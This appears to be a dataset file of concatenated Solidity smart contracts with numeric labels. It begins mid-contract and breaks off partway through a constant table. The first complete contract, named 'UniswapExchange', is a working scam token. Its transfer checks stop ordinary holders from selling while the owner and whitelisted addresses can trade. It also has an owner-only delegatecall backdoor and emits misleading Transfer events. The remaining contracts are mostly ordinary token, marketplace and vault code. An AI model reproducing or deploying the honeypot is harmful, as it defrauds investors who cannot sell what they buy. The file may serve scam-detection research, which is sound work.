require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,218 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CryptoLeaders {
address ceoAddress = 0xc10A6AedE9564efcDC5E842772313f0669D79497;
struct Leaders {
address currentLeaderOwner;
uint256 currentValue;
}
Leaders[32] data;
function CryptoLeaders() public {
for (uint i = 0; i < 32; i++) {
data[i].currentValue = 15000000000000000;
data[i].currentLeaderOwner = msg.sender;
}
}
function payPreviousOwner(address previousLeaderOwner, uint256 currentValue) private {
previousLeaderOwner.transfer(currentValue);
}
function transactionFee(address, uint256 currentValue) private {
ceoAddress.transfer(currentValue);
}
function purchaseLeader(uint uniqueLeaderID) public payable returns (uint, uint) {
require(uniqueLeaderID >= 0 && uniqueLeaderID <= 31);
if ( data[uniqueLeaderID].currentValue == 15000000000000000 ) {
data[uniqueLeaderID].currentValue = 30000000000000000;
} else {
data[uniqueLeaderID].currentValue = (data[uniqueLeaderID].currentValue / 10) * 12;
}
require(msg.value >= data[uniqueLeaderID].currentValue * uint256(1));
payPreviousOwner(data[uniqueLeaderID].currentLeaderOwner, (data[uniqueLeaderID].currentValue / 100) * (88));
transactionFee(ceoAddress, (data[uniqueLeaderID].currentValue / 100) * (12));
data[uniqueLeaderID].currentLeaderOwner = msg.sender;
return (uniqueLeaderID, data[uniqueLeaderID].currentValue);
}
function getCurrentLeaderOwners() external view returns (address[], uint256[]) {
address[] memory currentLeaderOwners = new address[](32);
uint256[] memory currentValues = new uint256[](32);
for (uint i=0; i<32; i++) {
currentLeaderOwners[i] = (data[i].currentLeaderOwner);
currentValues[i] = (data[i].currentValue);
}
return (currentLeaderOwners,currentValues);
}
} | 1 | 4,162 |
pragma solidity ^0.4.24;
contract QDC {
string public name ;
string public symbol ;
uint8 public decimals = 18;
uint256 public totalSupply ;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function QDC(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
} | 1 | 3,066 |
pragma solidity 0.4.20;
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract CanSend {
uint8 MAX_RECIPIENTS = 255;
event TokensSent (address indexed token, uint256 total);
function multisend (address _token, address[] _recipients, uint256[] _amounts) public {
require(_token != address(0));
require(_recipients.length != 0);
require(_recipients.length <= MAX_RECIPIENTS);
require(_recipients.length == _amounts.length);
ERC20 tokenToSend = ERC20(_token);
uint256 totalSent = 0;
for (uint8 i = 0; i < _recipients.length; i++) {
require(tokenToSend.transferFrom(msg.sender, _recipients[i], _amounts[i]));
totalSent += _amounts[i];
}
TokensSent(_token, totalSent);
}
} | 1 | 2,127 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
contract ERC721Basic {
event Transfer(
address indexed _from,
address indexed _to,
uint256 _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract TVCrowdsale {
uint256 public currentRate;
function buyTokens(address _beneficiary) public payable;
}
contract TVToken {
function transfer(address _to, uint256 _value) public returns (bool);
function safeTransfer(address _to, uint256 _value, bytes _data) public;
}
contract CDMarketplace is Ownable {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
address public wallet;
uint256 public fee_percentage;
ERC721Basic public token;
address public manager;
address internal checkAndBuySender;
address public TVTokenAddress;
address public TVCrowdsaleAddress;
bytes4 constant TOKEN_RECEIVED = bytes4(keccak256("onTokenReceived(address,uint256,bytes)"));
modifier onlyOwnerOrManager() {
require(msg.sender == owner || manager == msg.sender);
_;
}
mapping(uint256 => uint256) public priceList;
mapping(uint256 => address) public holderList;
event Stored(uint256 indexed id, uint256 price, address seller);
event Cancelled(uint256 indexed id, address seller);
event Sold(uint256 indexed id, uint256 price, address seller, address buyer);
event TokenChanged(address old_token, address new_token);
event WalletChanged(address old_wallet, address new_wallet);
event FeeChanged(uint256 old_fee, uint256 new_fee);
constructor(
address _TVTokenAddress,
address _TVCrowdsaleAddress,
address _token,
address _wallet,
address _manager,
uint _fee_percentage
) public {
TVTokenAddress = _TVTokenAddress;
TVCrowdsaleAddress = _TVCrowdsaleAddress;
token = ERC721Basic(_token);
wallet = _wallet;
fee_percentage = _fee_percentage;
manager = _manager;
}
function setToken(address _token) public onlyOwnerOrManager {
address old = token;
token = ERC721Basic(_token);
emit TokenChanged(old, token);
}
function setWallet(address _wallet) public onlyOwnerOrManager {
address old = wallet;
wallet = _wallet;
emit WalletChanged(old, wallet);
}
function changeFeePercentage(uint256 _percentage) public onlyOwnerOrManager {
uint256 old = fee_percentage;
fee_percentage = _percentage;
emit FeeChanged(old, fee_percentage);
}
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4) {
require(msg.sender == address(token));
uint256 _price = uint256(convertBytesToBytes32(_data));
require(_price > 0);
priceList[_tokenId] = _price;
holderList[_tokenId] = _from;
emit Stored(_tokenId, _price, _from);
return ERC721_RECEIVED;
}
function onTokenReceived(address _from, uint256 _value, bytes _data) public returns (bytes4) {
require(msg.sender == TVTokenAddress);
uint _id = uint256(convertBytesToBytes32(_data));
require(priceList[_id] == _value);
address oldHolder = holderList[_id];
uint256 price = priceList[_id];
uint256 toWallet = price / 100 * fee_percentage;
uint256 toHolder = price - toWallet;
holderList[_id] = 0x0;
priceList[_id] = 0;
_from = this == _from ? checkAndBuySender : _from;
checkAndBuySender = address(0);
token.safeTransferFrom(this, _from, _id);
TVToken(TVTokenAddress).transfer(wallet, toWallet);
TVToken(TVTokenAddress).transfer(oldHolder, toHolder);
emit Sold(_id, price, oldHolder, msg.sender);
return TOKEN_RECEIVED;
}
function cancel(uint256 _id) public returns (bool) {
require(holderList[_id] == msg.sender);
holderList[_id] = 0x0;
priceList[_id] = 0;
token.safeTransferFrom(this, msg.sender, _id);
emit Cancelled(_id, msg.sender);
return true;
}
function changeAndBuy(uint256 _id) public payable returns (bool) {
uint rate = TVCrowdsale(TVCrowdsaleAddress).currentRate();
uint priceWei = priceList[_id] / rate;
require(priceWei == msg.value);
TVCrowdsale(TVCrowdsaleAddress).buyTokens.value(msg.value)(this);
bytes memory data = toBytes(_id);
checkAndBuySender = msg.sender;
TVToken(TVTokenAddress).safeTransfer(this, priceList[_id], data);
return true;
}
function changeTVTokenAddress(address newAddress) public onlyOwnerOrManager {
TVTokenAddress = newAddress;
}
function changeTVCrowdsaleAddress(address newAddress) public onlyOwnerOrManager {
TVCrowdsaleAddress = newAddress;
}
function setManager(address _manager) public onlyOwner {
manager = _manager;
}
function convertBytesToBytes32(bytes inBytes) internal pure returns (bytes32 out) {
if (inBytes.length == 0) {
return 0x0;
}
assembly {
out := mload(add(inBytes, 32))
}
}
function toBytes(uint256 x) internal pure returns (bytes b) {
b = new bytes(32);
assembly {mstore(add(b, 32), x)}
}
} | 1 | 3,201 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
